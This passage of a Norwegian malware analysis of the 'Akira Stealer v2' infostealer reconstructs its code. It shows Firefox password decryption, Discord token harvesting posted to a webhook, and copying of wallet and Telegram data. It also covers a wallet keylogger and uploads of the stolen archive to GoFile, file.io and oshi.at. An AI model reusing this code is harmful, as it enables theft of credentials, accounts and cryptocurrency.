cursor.fetchone()\n\n# Decode DER structure and derive key\ndecoded, _ = der_decode(item2)\nentry_salt = decoded[0][1][0].asOctets()\ncipher_text = decoded[1].asOctets()\n# Derive 3DES key\nkey = derive_3des_key(global_salt, master_password, entry_salt)\niv = decoded[0][1][1].asOctets()\n# Decrypt credentials\ncipher = DES3.new(key, DES3.MODE_CBC, iv)\nclear_password = unpad(cipher.decrypt(cipher_text))\n\nprint(\"Decrypted Firefox password:\", clear_password)\n",[579,7538,7539,7544,7549,7554,7559,7564,7568,7573,7578,7583,7588,7593,7598,7603,7608,7613,7618,7622],{"__ignoreMap":530},[1710,7540,7541],{"class":1712,"line":1713},[1710,7542,7543],{},"# Load global Salt and encrypted item from key4.db\n",[1710,7545,7546],{"class":1712,"line":531},[1710,7547,7548],{},"db = sqlite3.connect(profile_path + \"/key4.db\")\n",[1710,7550,7551],{"class":1712,"line":2094},[1710,7552,7553],{},"cursor = db.cursor()\n",[1710,7555,7556],{"class":1712,"line":2100},[1710,7557,7558],{},"cursor.execute(\"SELECT item1, item2 FROM metadata WHERE id = 'password'\")\n",[1710,7560,7561],{"class":1712,"line":2420},[1710,7562,7563],{},"global_salt, item2 = cursor.fetchone()\n",[1710,7565,7566],{"class":1712,"line":2426},[1710,7567,3877],{"emptyLinePlaceholder":325},[1710,7569,7570],{"class":1712,"line":3084},[1710,7571,7572],{},"# Decode DER structure and derive key\n",[1710,7574,7575],{"class":1712,"line":3880},[1710,7576,7577],{},"decoded, _ = der_decode(item2)\n",[1710,7579,7580],{"class":1712,"line":3886},[1710,7581,7582],{},"entry_salt = decoded[0][1][0].asOctets()\n",[1710,7584,7585],{"class":1712,"line":4131},[1710,7586,7587],{},"cipher_text = decoded[1].asOctets()\n",[1710,7589,7590],{"class":1712,"line":5055},[1710,7591,7592],{},"# Derive 3DES key\n",[1710,7594,7595],{"class":1712,"line":5061},[1710,7596,7597],{},"key = derive_3des_key(global_salt, master_password, entry_salt)\n",[1710,7599,7600],{"class":1712,"line":5067},[1710,7601,7602],{},"iv = decoded[0][1][1].asOctets()\n",[1710,7604,7605],{"class":1712,"line":5073},[1710,7606,7607],{},"# Decrypt credentials\n",[1710,7609,7610],{"class":1712,"line":5079},[1710,7611,7612],{},"cipher = DES3.new(key, DES3.MODE_CBC, iv)\n",[1710,7614,7615],{"class":1712,"line":5085},[1710,7616,7617],{},"clear_password = unpad(cipher.decrypt(cipher_text))\n",[1710,7619,7620],{"class":1712,"line":5091},[1710,7621,3877],{"emptyLinePlaceholder":325},[1710,7623,7624],{"class":1712,"line":5097},[1710,7625,7626],{},"print(\"Decrypted Firefox password:\", clear_password)\n",[526,7628,7629,7630,647,7632,586,7634,7636],{},"Med denne rutinen kan Akira dumpe ",[579,7631,7028],{},[579,7633,7031],{},[579,7635,7034],{}," for hver Firefox-profil transparent, og skrive de dekrypterte utdataene til:",[616,7638,7641],{"className":7639,"code":7640,"language":621},[619],"Passwords/Firefox_\u003CProfileName> Passwords.txt\nCookies/Firefox_\u003CProfileName> Cookies.txt\nHistory/Firefox_\u003CProfileName> History.txt\n",[579,7642,7640],{"__ignoreMap":530},[526,7644,7645],{},"Metoden går rundt sjekkene av hovedpassord på brukernivå, og gir stealeren uhindret tilgang til alle lagrede credentials.*",[526,7647,7648],{},[568,7649,7650],{},"4. Filstruktur og navngivning",[616,7652,7655],{"className":7653,"code":7654,"language":621,"meta":530},[619],"\u003CComputerName>.zip\n└── \u003CComputerName>\\\n    ├── Passwords\\\n    │   ├── Chrome Passwords.txt\n    │   ├── Edge Passwords.txt\n    │   └── …\n    ├── Cookies\\\n    │   ├── Chrome Cookies.txt\n    │   ├── Edge Cookies.txt\n    │   ├── user@example.com Google Session.txt\n    │   └── …\n    ├── CreditCards\\\n    │   ├── Chrome CreditCards.txt\n    │   └── …\n    ├── History\\\n    │   ├── Chrome History.txt\n    │   └── …\n    ├── Autofill\\\n    │   ├── Chrome Autofill.txt\n    │   └── …\n    └── Wallets\\\n        ├── Firefox_Default_profiles.zip\n        ├── Firefox_Profile1_profiles.zip\n        └── …\n",[579,7656,7654],{"__ignoreMap":530},[631,7658,7659,7673,7679],{},[634,7660,7661,7662,7665,7666,7669,7670,2071],{},"Hver ",[579,7663,7664],{},".txt","-fil begynner med en konsekvent header (",[579,7667,7668],{},"\u003C================[Akira Stealer v2]>================>",") og en skillelinje (",[579,7671,7672],{},"====…====",[634,7674,7675,7676,614],{},"ZIP på disk: ",[579,7677,7678],{},"%TEMP%\\\u003CComputerName>.zip",[634,7680,7681,7682,614],{},"Filnavnetikett for C&C: ",[579,7683,7684],{},"Akira-\u003Cusername>.zip",[526,7686,7687],{},[568,7688,7689],{},"5. Eksfiltrering og opprydding",[616,7691,7693],{"className":4516,"code":7692,"language":4518,"meta":530,"style":530},"url = Webhook.uploadToGofile(zip_path)\nif not url:\n    url = Webhook.uploadFileio(zip_path) or Webhook.uploadToOshiAt(zip_path)\nWebhook.sendDataTG(zip_path, chatId, startup)\nUtils.clear_client_folder()\n",[579,7694,7695,7700,7705,7710,7715],{"__ignoreMap":530},[1710,7696,7697],{"class":1712,"line":1713},[1710,7698,7699],{},"url = Webhook.uploadToGofile(zip_path)\n",[1710,7701,7702],{"class":1712,"line":531},[1710,7703,7704],{},"if not url:\n",[1710,7706,7707],{"class":1712,"line":2094},[1710,7708,7709],{},"    url = Webhook.uploadFileio(zip_path) or Webhook.uploadToOshiAt(zip_path)\n",[1710,7711,7712],{"class":1712,"line":2100},[1710,7713,7714],{},"Webhook.sendDataTG(zip_path, chatId, startup)\n",[1710,7716,7717],{"class":1712,"line":2420},[1710,7718,7719],{},"Utils.clear_client_folder()\n",[631,7721,7722,7732,7746,7764],{},[634,7723,7724,7727,7728,7731],{},[568,7725,7726],{},"Primærkanal (GoFile.io):"," Malwaren forsøker først å laste opp ZIP-arkivet med alle stjålne artefakter til GoFile.io, og leser JSON-svaret for å finne en ",[579,7729,7730],{},"downloadPage","-URL som gir angriperen direkte tilgang til arkivet.",[634,7733,7734,7737,7738,7741,7742,7745],{},[568,7735,7736],{},"Automatiske fallbacks:"," Feiler GoFile-endepunktet, for eksempel på grunn av nettverkstimeout eller rate limit, faller koden problemfritt tilbake på ",[579,7739,7740],{},"file.io",", og returnerer også den en tom lenke, til slutt på ",[579,7743,7744],{},"oshi.at",". Begge alternativene kalles uten å kaste unntak, slik at én av de tre tjenestene alltid blir forsøkt etter tur.",[634,7747,7748,7751,7752,7755,7756,7759,7760,7763],{},[568,7749,7750],{},"Webhook-rapportering:"," Når en URL (eller en tom streng ved vedvarende feil) er fastslått, kalles ",[579,7753,7754],{},"Webhook.sendDataTG(...)",", som pakker sammen nedlastingslenken, maskinidentifikatorene (",[579,7757,7758],{},"chatId",", flagget ",[579,7761,7762],{},"startup",") og alle kategoritellingene (passord, cookies, autofyll, lommebøker) i én enkelt Discord- eller Telegram-melding.",[634,7765,7766,7769,7770,7773],{},[568,7767,7768],{},"Umiddelbar opprydding:"," Etter rapporteringen sletter ",[579,7771,7772],{},"Utils.clear_client_folder()"," hele det midlertidige arbeidsområdet og selve ZIP-filen rekursivt, uten å etterlate spor av de innsamlede dataene eller arkivet på disken.",[848,7775,7776,7781],{},[526,7777,7778],{},[568,7779,7780],{},"Robusthet mot feil:",[631,7782,7783,7790],{},[634,7784,7785,7786,7789],{},"Alle opplastingsrutiner returnerer ",[579,7787,7788],{},"\"\""," ved feil i stedet for å kaste unntak, noe som garanterer at kodeflyten fortsetter.",[634,7791,7792],{},"Selv om alle tjenestene er utilgjengelige, sender malwaren likevel en webhook-rapport, om enn uten lenke, før de lokale artefaktene slettes. Det holder de forensiske restene nede så lenge prosessen ikke krasjer uventet.",[854,7794],{"className":7795},[857,858],[526,7797,7798],{},[568,7799,7800],{},"6. Robusthet og feilhåndtering",[631,7802,7803,7821,7827,7836],{},[634,7804,7805,7808,7809,7812,7813,7816,7817,7820],{},[568,7806,7807],{},"Finmasket feilhåndtering:"," Hver interaksjon med filsystemet, enten det er ",[579,7810,7811],{},"shutil.copy",", SQLite-spørringer eller ZIP-operasjoner, pakkes inn i ",[579,7814,7815],{},"try/except","-blokker. Oppstår det en feil (låst database, nektet tilgang, ødelagt post), fanges unntaket og logges via ",[579,7818,7819],{},"Akira.logErrorTg()",", og kjøringen fortsetter. Dermed isoleres feilen til nettopp den filen eller modulen.",[634,7822,7823,7826],{},[568,7824,7825],{},"Trådisolering per nettleser:"," Uthentingsrutinene for hver nettleser som støttes, kjører i sin egen tråd. Denne flertrådede designen sørger for at en krasj eller vranglås i uthentingen for én nettleser, for eksempel en ødelagt profil eller en manglende nøkkel, ikke stopper eller forsinker analysen av de andre.",[634,7828,7829,7832,7833,7835],{},[568,7830,7831],{},"Stille fallbacks og standardverdier:"," Mange hjelperutiner, som opplasting til alternative filverter, sjekk av eksterne ressurser eller start av underprosesser, bruker nøstede ",[579,7834,7815],{},"-blokker uten synlige varsler, noe som maksimerer skjultheten. Standardverdiene (tomme strenger, booleanere) er valgt for å holde flyten uforstyrret og fjerne åpenbare feiltilstander.",[634,7837,7838,7841,7842,7845,7846,7849],{},[568,7839,7840],{},"Mutex og oppstartsvern:"," En navngitt mutex (",[579,7843,7844],{},"1qsMlseJplTlArIF14f",") hindrer flere instanser, mens registersjekker og ",[579,7847,7848],{},"Utils.CreateMutex()"," beskytter mot samtidige kjøringer og gir ekstra stabilitet ved bruk i praksis.",[741,7851,7853],{"id":7852},"_78-eksfiltrering-av-lommebøker-og-tokens","7.8 Eksfiltrering av lommebøker og tokens",[526,7855,747],{},[526,7857,7858],{},"I denne fasen gjør Akira Stealer v2 sitt mest omfattende sveip etter kryptovaluta-credentials og sesjonstokens, og dekker nettleserutvidelser, skrivebordslommebøker, meldingstokens og keylogging i sanntid. Den kjører i parallelle tråder, slik at ingen vektor går tapt. Under følger en grundig gjennomgang steg for steg, med dekning i koden.",[889,7860,7862],{"id":7861},"_781-lommebøker-som-nettleserutvidelser","7.8.1 Lommebøker som nettleserutvidelser",[526,7864,895],{},[526,7866,7867,7870],{},[568,7868,7869],{},"Mål:"," Over 80 utvidelser i populære nettlesere, blant annet MetaMask, Phantom, Trust Wallet, Coinbase Wallet, Solflare, Exodus, Binance Chain Wallet, Keplr, Nami, TronLink, Rabby, Talisman og flere.",[616,7872,7874],{"className":4516,"code":7873,"language":4518,"meta":530,"style":530},"# Hardcoded list of extension IDs and human-friendly names\nwalletsExtensions = [\n    [\"MetaMask\",        \"nkbihfbeogaeaoehlefnkodbefgpgknn\"],\n    [\"Phantom\",         \"bfnaelmomeimhlpmgjnjophhpkkoljpa\"],\n    [\"TrustWallet\",     \"egjidjbpglichdcondbcbdnbeeppgdph\"],\n    [\"CoinbaseWallet\",  \"hfhmhopkfngkjcalldmaepmpilmjjemb\"],\n    [\"Solflare\",        \"bhhhlbepdkbapadjdnnojkbgioiodbic\"],\n    [\"BinanceChain\",    \"fhbohimaelbohpjbbldcngcnapndodjp\"],\n    [\"Keplr\",           \"dmkamcknogkgcdfhhbddcghachkejeap\"],\n    [\"Nami\",            \"lpfcbjknijpeeillifnkikgncikgfhdo\"],\n    [\"Talisman\",        \"fijngjgcjhjmmpcmkeiomlglpeiijkld\"],\n    [\"TronLink\",        \"ibnejdfjmmkpcnlpebklmnkoeoihofec\"],\n    # ... plus dozens more mapped in code\n]\n# Extraction loop for each browser profile\nfor browser_name, (user_data, proc_name) in paths.items():\n    base = os.path.join(user_data, \"Default\", \"Local Extension Settings\")\n    for ext_name, ext_id in walletsExtensions:\n        src = os.path.join(base, ext_id)\n        if os.path.isdir(src):\n            dest = os.path.join(Utils.get_temp_folder(), \"Wallets\", f\"{ext_name}_{browser_name}\")\n            shutil.copytree(src, dest, dirs_exist_ok=True)\n            data.ext_wallets_count += 1\n",[579,7875,7876,7881,7886,7891,7896,7901,7906,7911,7916,7921,7926,7931,7936,7941,7946,7951,7956,7961,7966,7971,7976,7981,7986],{"__ignoreMap":530},[1710,7877,7878],{"class":1712,"line":1713},[1710,7879,7880],{},"# Hardcoded list of extension IDs and human-friendly names\n",[1710,7882,7883],{"class":1712,"line":531},[1710,7884,7885],{},"walletsExtensions = [\n",[1710,7887,7888],{"class":1712,"line":2094},[1710,7889,7890],{},"    [\"MetaMask\",        \"nkbihfbeogaeaoehlefnkodbefgpgknn\"],\n",[1710,7892,7893],{"class":1712,"line":2100},[1710,7894,7895],{},"    [\"Phantom\",         \"bfnaelmomeimhlpmgjnjophhpkkoljpa\"],\n",[1710,7897,7898],{"class":1712,"line":2420},[1710,7899,7900],{},"    [\"TrustWallet\",     \"egjidjbpglichdcondbcbdnbeeppgdph\"],\n",[1710,7902,7903],{"class":1712,"line":2426},[1710,7904,7905],{},"    [\"CoinbaseWallet\",  \"hfhmhopkfngkjcalldmaepmpilmjjemb\"],\n",[1710,7907,7908],{"class":1712,"line":3084},[1710,7909,7910],{},"    [\"Solflare\",        \"bhhhlbepdkbapadjdnnojkbgioiodbic\"],\n",[1710,7912,7913],{"class":1712,"line":3880},[1710,7914,7915],{},"    [\"BinanceChain\",    \"fhbohimaelbohpjbbldcngcnapndodjp\"],\n",[1710,7917,7918],{"class":1712,"line":3886},[1710,7919,7920],{},"    [\"Keplr\",           \"dmkamcknogkgcdfhhbddcghachkejeap\"],\n",[1710,7922,7923],{"class":1712,"line":4131},[1710,7924,7925],{},"    [\"Nami\",            \"lpfcbjknijpeeillifnkikgncikgfhdo\"],\n",[1710,7927,7928],{"class":1712,"line":5055},[1710,7929,7930],{},"    [\"Talisman\",        \"fijngjgcjhjmmpcmkeiomlglpeiijkld\"],\n",[1710,7932,7933],{"class":1712,"line":5061},[1710,7934,7935],{},"    [\"TronLink\",        \"ibnejdfjmmkpcnlpebklmnkoeoihofec\"],\n",[1710,7937,7938],{"class":1712,"line":5067},[1710,7939,7940],{},"    # ... plus dozens more mapped in code\n",[1710,7942,7943],{"class":1712,"line":5073},[1710,7944,7945],{},"]\n",[1710,7947,7948],{"class":1712,"line":5079},[1710,7949,7950],{},"# Extraction loop for each browser profile\n",[1710,7952,7953],{"class":1712,"line":5085},[1710,7954,7955],{},"for browser_name, (user_data, proc_name) in paths.items():\n",[1710,7957,7958],{"class":1712,"line":5091},[1710,7959,7960],{},"    base = os.path.join(user_data, \"Default\", \"Local Extension Settings\")\n",[1710,7962,7963],{"class":1712,"line":5097},[1710,7964,7965],{},"    for ext_name, ext_id in walletsExtensions:\n",[1710,7967,7968],{"class":1712,"line":5103},[1710,7969,7970],{},"        src = os.path.join(base, ext_id)\n",[1710,7972,7973],{"class":1712,"line":5109},[1710,7974,7975],{},"        if os.path.isdir(src):\n",[1710,7977,7978],{"class":1712,"line":5115},[1710,7979,7980],{},"            dest = os.path.join(Utils.get_temp_folder(), \"Wallets\", f\"{ext_name}_{browser_name}\")\n",[1710,7982,7983],{"class":1712,"line":5121},[1710,7984,7985],{},"            shutil.copytree(src, dest, dirs_exist_ok=True)\n",[1710,7987,7988],{"class":1712,"line":5127},[1710,7989,7990],{},"            data.ext_wallets_count += 1\n",[631,7992,7993,7999],{},[634,7994,7995,7998],{},[568,7996,7997],{},"Filer som kopieres",": Utvidelsesspesifikke IndexedDB-, LevelDB-, JSON- og konfigurasjonsfiler som inneholder krypterte nøkler, seed-fraser og påloggingsopplysninger.",[634,8000,8001,1000,8004,647,8007,8010],{},[568,8002,8003],{},"Resultatmappe",[579,8005,8006],{},"Wallets/MetaMask_Chrome/",[579,8008,8009],{},"Wallets/Phantom_Edge/"," med flere.",[889,8012,8014],{"id":8013},"_782-skrivebordslommebøker","7.8.2 Skrivebordslommebøker",[526,8016,895],{},[526,8018,8019,8021],{},[568,8020,7869],{}," Store skrivebordsklienter som Electrum, Exodus, Atomic Wallet, Guarda, Rabby, Coinomi, Zcash, Armory, Bytecoin, Jaxx, Coinomi med flere.",[616,8023,8025],{"className":4516,"code":8024,"language":4518,"meta":530,"style":530},"walletsDesktop = [\n    [\"Electrum\",     os.path.join(os.getenv('APPDATA'), \"Electrum\", \"wallets\")],\n    [\"Exodus\",       os.path.join(os.getenv('APPDATA'), \"Exodus\", \"exodus.wallet\")],\n    [\"AtomicWallet\", os.path.join(os.getenv('LOCALAPPDATA'), \"atomic\", \"Local Storage\", \"leveldb\")],\n    [\"Guarda\",       os.path.join(os.getenv('APPDATA'), \"Guarda\", \"Local Storage\", \"leveldb\")],\n    [\"Rabby\",        os.path.join(os.getenv('APPDATA'), \"rabby-desktop\")],\n    [\"Coinomi\",      os.path.join(os.getenv('APPDATA'), \"Coinomi\", \"wallets\")],\n]\nfor name, path in walletsDesktop:\n    if os.path.isdir(path):\n        Utils.TaskKill(name.lower())\n        dest = os.path.join(Utils.get_temp_folder(), \"Wallets\", name)\n        shutil.copytree(path, dest, dirs_exist_ok=True)\n        data.desktop_wallets_count += 1\n",[579,8026,8027,8032,8037,8042,8047,8052,8057,8062,8066,8071,8076,8081,8086,8091],{"__ignoreMap":530},[1710,8028,8029],{"class":1712,"line":1713},[1710,8030,8031],{},"walletsDesktop = [\n",[1710,8033,8034],{"class":1712,"line":531},[1710,8035,8036],{},"    [\"Electrum\",     os.path.join(os.getenv('APPDATA'), \"Electrum\", \"wallets\")],\n",[1710,8038,8039],{"class":1712,"line":2094},[1710,8040,8041],{},"    [\"Exodus\",       os.path.join(os.getenv('APPDATA'), \"Exodus\", \"exodus.wallet\")],\n",[1710,8043,8044],{"class":1712,"line":2100},[1710,8045,8046],{},"    [\"AtomicWallet\", os.path.join(os.getenv('LOCALAPPDATA'), \"atomic\", \"Local Storage\", \"leveldb\")],\n",[1710,8048,8049],{"class":1712,"line":2420},[1710,8050,8051],{},"    [\"Guarda\",       os.path.join(os.getenv('APPDATA'), \"Guarda\", \"Local Storage\", \"leveldb\")],\n",[1710,8053,8054],{"class":1712,"line":2426},[1710,8055,8056],{},"    [\"Rabby\",        os.path.join(os.getenv('APPDATA'), \"rabby-desktop\")],\n",[1710,8058,8059],{"class":1712,"line":3084},[1710,8060,8061],{},"    [\"Coinomi\",      os.path.join(os.getenv('APPDATA'), \"Coinomi\", \"wallets\")],\n",[1710,8063,8064],{"class":1712,"line":3880},[1710,8065,7945],{},[1710,8067,8068],{"class":1712,"line":3886},[1710,8069,8070],{},"for name, path in walletsDesktop:\n",[1710,8072,8073],{"class":1712,"line":4131},[1710,8074,8075],{},"    if os.path.isdir(path):\n",[1710,8077,8078],{"class":1712,"line":5055},[1710,8079,8080],{},"        Utils.TaskKill(name.lower())\n",[1710,8082,8083],{"class":1712,"line":5061},[1710,8084,8085],{},"        dest = os.path.join(Utils.get_temp_folder(), \"Wallets\", name)\n",[1710,8087,8088],{"class":1712,"line":5067},[1710,8089,8090],{},"        shutil.copytree(path, dest, dirs_exist_ok=True)\n",[1710,8092,8093],{"class":1712,"line":5073},[1710,8094,8095],{},"        data.desktop_wallets_count += 1\n",[631,8097,8098,8111],{},[634,8099,8100,8103,8104,647,8107,8110],{},[568,8101,8102],{},"Data som stjeles",": Keystore-filer (",[579,8105,8106],{},"*.dat",[579,8108,8109],{},"*.json","), eksporterte private nøkler, lommebokkonfigurasjon og transaksjonshistorikk.",[634,8112,8113,8116],{},[568,8114,8115],{},"Nytteverdi",": Lommebokinnhold offline som angriperen kan bruke til å godkjenne transaksjoner.",[889,8118,8120],{"id":8119},"_783-innsamling-av-discord-tokens","7.8.3 Innsamling av Discord-tokens",[526,8122,895],{},[526,8124,8125],{},"Discord-tokens er autentiseringsartefakter, i praksis langlevde bearer-tokens, som kan gi full tilgang til en brukers konto uten credentials eller MFA. Akira utnytter dette ved å skanne nettleser- og appdatamapper etter tokens lagret av ulike Discord-klienter, blant annet Discord Stable, Canary, PTB (Public Test Build) og til og med modifiserte forker som Lightcord.",[526,8127,8128],{},"Teknikken retter seg mot LevelDB-filer under applikasjonens Local Storage, der autentiseringstokens ofte ligger i klartekst. Ved hjelp av regulære uttrykk skanner malwaren disse .log- og .ldb-filene etter mønstre som treffer enten vanlige brukertokens eller MFA-aktiverte tokens.",[526,8130,8131],{},"For å øke påliteligheten og redusere støy har Akira et valideringssteg: den sender en testforespørsel til Discords endepunkt /users/@me med hvert innsamlede token. Bare tokens som autentiserer (HTTP 200), eksfiltreres via webhook, vanligvis til en Discord-kanal angriperen kontrollerer.",[526,8133,8134],{},"Metoden gjør det mulig for angripere å kapre Discord-kontoer i sanntid, utgi seg for offeret, skrape DM-er og guilds, eller spre mer malware gjennom social engineering, alt uten å utløse påloggingsvarsler.",[616,8136,8138],{"className":4516,"code":8137,"language":4518,"meta":530,"style":530},"import re, requests\npatterns = [\n    r\"[\\w-]{24}\\.[\\w-]{6}\\.[\\w-]{27,100}\",  # User tokens\n    r\"mfa\\.[\\w-]{84,100}\"                      # MFA tokens\n]\ndef harvest_discord(base, webhook_url):\n    db_dir = os.path.join(base, \"Local Storage\", \"leveldb\")\n    for file in os.listdir(db_dir):\n        if file.endswith(('.log', '.ldb')):\n            for line in open(os.path.join(db_dir, file), errors='ignore'):\n                for pat in patterns:\n                    for token in re.findall(pat, line):\n                        # Verify token\n                        h = {\"Authorization\": token}\n                        r = requests.get(\"https://discordapp.com/api/v9/users/@me\", headers=h)\n                        if r.status_code == 200:\n                            uname = r.json()[\"username\"] + \"#\" + r.json()[\"discriminator\"]\n                            payload = {\"content\": f\"**Discord** {uname}: `{token}`\"}\n                            requests.post(webhook_url, json=payload)\n",[579,8139,8140,8145,8150,8155,8160,8164,8169,8174,8179,8184,8189,8194,8199,8204,8209,8214,8219,8224,8229],{"__ignoreMap":530},[1710,8141,8142],{"class":1712,"line":1713},[1710,8143,8144],{},"import re, requests\n",[1710,8146,8147],{"class":1712,"line":531},[1710,8148,8149],{},"patterns = [\n",[1710,8151,8152],{"class":1712,"line":2094},[1710,8153,8154],{},"    r\"[\\w-]{24}\\.[\\w-]{6}\\.[\\w-]{27,100}\",  # User tokens\n",[1710,8156,8157],{"class":1712,"line":2100},[1710,8158,8159],{},"    r\"mfa\\.[\\w-]{84,100}\"                      # MFA tokens\n",[1710,8161,8162],{"class":1712,"line":2420},[1710,8163,7945],{},[1710,8165,8166],{"class":1712,"line":2426},[1710,8167,8168],{},"def harvest_discord(base, webhook_url):\n",[1710,8170,8171],{"class":1712,"line":3084},[1710,8172,8173],{},"    db_dir = os.path.join(base, \"Local Storage\", \"leveldb\")\n",[1710,8175,8176],{"class":1712,"line":3880},[1710,8177,8178],{},"    for file in os.listdir(db_dir):\n",[1710,8180,8181],{"class":1712,"line":3886},[1710,8182,8183],{},"        if file.endswith(('.log', '.ldb')):\n",[1710,8185,8186],{"class":1712,"line":4131},[1710,8187,8188],{},"            for line in open(os.path.join(db_dir, file), errors='ignore'):\n",[1710,8190,8191],{"class":1712,"line":5055},[1710,8192,8193],{},"                for pat in patterns:\n",[1710,8195,8196],{"class":1712,"line":5061},[1710,8197,8198],{},"                    for token in re.findall(pat, line):\n",[1710,8200,8201],{"class":1712,"line":5067},[1710,8202,8203],{},"                        # Verify token\n",[1710,8205,8206],{"class":1712,"line":5073},[1710,8207,8208],{},"                        h = {\"Authorization\": token}\n",[1710,8210,8211],{"class":1712,"line":5079},[1710,8212,8213],{},"                        r = requests.get(\"https://discordapp.com/api/v9/users/@me\", headers=h)\n",[1710,8215,8216],{"class":1712,"line":5085},[1710,8217,8218],{},"                        if r.status_code == 200:\n",[1710,8220,8221],{"class":1712,"line":5091},[1710,8222,8223],{},"                            uname = r.json()[\"username\"] + \"#\" + r.json()[\"discriminator\"]\n",[1710,8225,8226],{"class":1712,"line":5097},[1710,8227,8228],{},"                            payload = {\"content\": f\"**Discord** {uname}: `{token}`\"}\n",[1710,8230,8231],{"class":1712,"line":5103},[1710,8232,8233],{},"                            requests.post(webhook_url, json=payload)\n",[631,8235,8236],{},[634,8237,8238,8241],{},[568,8239,8240],{},"Validering",": Sender bare gyldige tokens, og hindrer at utdaterte JWT-er går ut.",[889,8243,8245],{"id":8244},"_784-telegram-sesjonsfiler","7.8.4 Telegram-sesjonsfiler",[526,8247,895],{},[526,8249,8250,8252],{},[568,8251,7869],{}," Telegram Desktop/TData",[616,8254,8256],{"className":4516,"code":8255,"language":4518,"meta":530,"style":530},"def steal_telegram(tdata_path, dest_root):\n    if os.path.exists(tdata_path):\n        Utils.TaskKill(\"telegram.exe\")\n        dest = os.path.join(dest_root, \"Wallets\", \"Telegram\")\n        shutil.copytree(tdata_path, dest, dirs_exist_ok=True)\n        data.has_telegram = True\n",[579,8257,8258,8263,8268,8273,8278,8283],{"__ignoreMap":530},[1710,8259,8260],{"class":1712,"line":1713},[1710,8261,8262],{},"def steal_telegram(tdata_path, dest_root):\n",[1710,8264,8265],{"class":1712,"line":531},[1710,8266,8267],{},"    if os.path.exists(tdata_path):\n",[1710,8269,8270],{"class":1712,"line":2094},[1710,8271,8272],{},"        Utils.TaskKill(\"telegram.exe\")\n",[1710,8274,8275],{"class":1712,"line":2100},[1710,8276,8277],{},"        dest = os.path.join(dest_root, \"Wallets\", \"Telegram\")\n",[1710,8279,8280],{"class":1712,"line":2420},[1710,8281,8282],{},"        shutil.copytree(tdata_path, dest, dirs_exist_ok=True)\n",[1710,8284,8285],{"class":1712,"line":2426},[1710,8286,8287],{},"        data.has_telegram = True\n",[631,8289,8290,8304],{},[634,8291,8292,8295,8296,8299,8300,8303],{},[568,8293,8294],{},"Filer",": mappen ",[579,8297,8298],{},"tdata"," med sesjonsnøkler, mappen ",[579,8301,8302],{},"D877F..."," med secret- og unsecret-filer.",[634,8305,8306,8309],{},[568,8307,8308],{},"Bruk",": Lastes inn i angriperens Telegram-klient for full kontotilgang.",[889,8311,8313],{"id":8312},"_785-keylogging-av-lommebøker-i-sanntid","7.8.5 Keylogging av lommebøker i sanntid",[526,8315,895],{},[526,8317,8318],{},"Kryptovaluta-lommebøker er førstevalgsmål for moderne infostealere. Akira har en keylogger som kjører i sanntid og er laget spesielt for å stjele lommebok-credentials som seed-fraser, private nøkler og passord i det øyeblikket de tastes inn. Til forskjell fra generiske keyloggere aktiveres denne bare når et kjent lommebokvindu oppdages, noe som reduserer støyen kraftig og øker effektiviteten.",[526,8320,8321],{},"Modulen overvåker titlene på aktive vinduer og sammenligner dem med en hardkodet liste over populære lommebokapper som MetaMask, Phantom, Atomic Wallet og andre. Så snart et vindu som treffer, har fokus, begynner den å registrere tastetrykk via systemomfattende tastaturhooks. Når brukeren trykker Enter, fanger modulen umiddelbart det som ligger i utklippstavlen, siden brukere ofte kopierer hemmeligheter under oppsett eller pålogging av lommebøker, og sender både det innskrevne og utklippsdataene til angriperens webhook. Metoden er svært effektiv fordi den kombinerer to angrepsvektorer:",[631,8323,8324,8327],{},[634,8325,8326],{},"Kontekstbevisst keylogging, for å fange sensitive lommebokinndata bare når det er relevant.",[634,8328,8329],{},"Kapring av utklippstavlen, for å hente kopierte gjenopprettingsfraser eller mottakeradresser før de limes inn.",[526,8331,8332],{},"Til sammen lar disse metodene angripere kompromittere lommebøker stille og i sanntid, også uten nettlesertilgang eller fileksfiltrering.",[616,8334,8336],{"className":4516,"code":8335,"language":4518,"meta":530,"style":530},"import keyboard, pyperclip\n\nclass WalletKeylogger:\n    def __init__(self, wallet_titles):\n        self.buf = \"\"\n        keyboard.on_release(self.capture)\n        self.wallet_titles = wallet_titles\n\n    def capture(self, event):\n        title = pygetwindow.getActiveWindow().title\n        if any(w in title for w in self.wallet_titles):\n            if event.name == 'enter':\n                data = f\"Keys:{self.buf}\\nClip:{pyperclip.paste()}\"\n                send_to_webhook(data)\n                self.buf = \"\"\n            else:\n                self.buf += event.name\n",[579,8337,8338,8343,8347,8352,8357,8362,8367,8372,8376,8381,8386,8391,8396,8401,8406,8411,8416],{"__ignoreMap":530},[1710,8339,8340],{"class":1712,"line":1713},[1710,8341,8342],{},"import keyboard, pyperclip\n",[1710,8344,8345],{"class":1712,"line":531},[1710,8346,3877],{"emptyLinePlaceholder":325},[1710,8348,8349],{"class":1712,"line":2094},[1710,8350,8351],{},"class WalletKeylogger:\n",[1710,8353,8354],{"class":1712,"line":2100},[1710,8355,8356],{},"    def __init__(self, wallet_titles):\n",[1710,8358,8359],{"class":1712,"line":2420},[1710,8360,8361],{},"        self.buf = \"\"\n",[1710,8363,8364],{"class":1712,"line":2426},[1710,8365,8366],{},"        keyboard.on_release(self.capture)\n",[1710,8368,8369],{"class":1712,"line":3084},[1710,8370,8371],{},"        self.wallet_titles = wallet_titles\n",[1710,8373,8374],{"class":1712,"line":3880},[1710,8375,3877],{"emptyLinePlaceholder":325},[1710,8377,8378],{"class":1712,"line":3886},[1710,8379,8380],{},"    def capture(self, event):\n",[1710,8382,8383],{"class":1712,"line":4131},[1710,8384,8385],{},"        title = pygetwindow.getActiveWindow().title\n",[1710,8387,8388],{"class":1712,"line":5055},[1710,8389,8390],{},"        if any(w in title for w in self.wallet_titles):\n",[1710,8392,8393],{"class":1712,"line":5061},[1710,8394,8395],{},"            if event.name == 'enter':\n",[1710,8397,8398],{"class":1712,"line":5067},[1710,8399,8400],{},"                data = f\"Keys:{self.buf}\\nClip:{pyperclip.paste()}\"\n",[1710,8402,8403],{"class":1712,"line":5073},[1710,8404,8405],{},"                send_to_webhook(data)\n",[1710,8407,8408],{"class":1712,"line":5079},[1710,8409,8410],{},"                self.buf = \"\"\n",[1710,8412,8413],{"class":1712,"line":5085},[1710,8414,8415],{},"            else:\n",[1710,8417,8418],{"class":1712,"line":5091},[1710,8419,8420],{},"                self.buf += event.name\n",[631,8422,8423,8429],{},[634,8424,8425,8428],{},[568,8426,8427],{},"Utløserliste",": Vindustitler som \"MetaMask\", \"Phantom\", \"Atomic Wallet\" med flere.",[634,8430,8431,8434],{},[568,8432,8433],{},"Utklippstavle",": Fanger kopierte 